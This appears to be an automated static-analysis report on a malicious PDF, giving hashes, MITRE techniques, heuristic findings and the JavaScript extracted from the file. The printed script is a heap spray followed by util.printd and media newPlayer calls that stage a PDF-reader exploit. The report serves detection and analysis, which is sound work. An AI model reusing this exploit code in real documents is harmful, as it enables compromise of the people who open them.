Malicious PDF — malware analysis report

Static analysis result for SHA-256 92b2e7b2922eaffe…

MALICIOUS

PDF

875 B First seen: 2026-05-11
MD5: 93cc6e74ba6b3c15ae2b2f7343e6a043 SHA-1: 14bae29ac079d834ad58df250af9e9d9d5079277 SHA-256: 92b2e7b2922eaffedf1eca3e1c4e5f6a3bcfd188fbf04b2f4e503a6ef1fecb9a
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains embedded JavaScript that utilizes the unescape function and performs a heap spray. This is a common technique used in PDF exploits to prepare memory for shellcode execution. The ML classifier strongly indicates maliciousness, and the JavaScript behavior points towards exploitation for client execution.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var Wo = unescape("");
var yR = unescape("%u3727%u27f5");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x156 461 bytes
SHA-256: 548ca04383431fd343d6028673420cc05427a4e1a59b916288613fc1b2ee400a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var Wo = unescape("");
var yR = unescape("%u3727%u27f5");

for(i=0;i<15;){yR+=yR;i ++;}
yR=yR.substring(0,32768 - Wo.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= yR + Wo; i ++;
}

util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {var obj = this.media;obj["new"+"Player"](null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());

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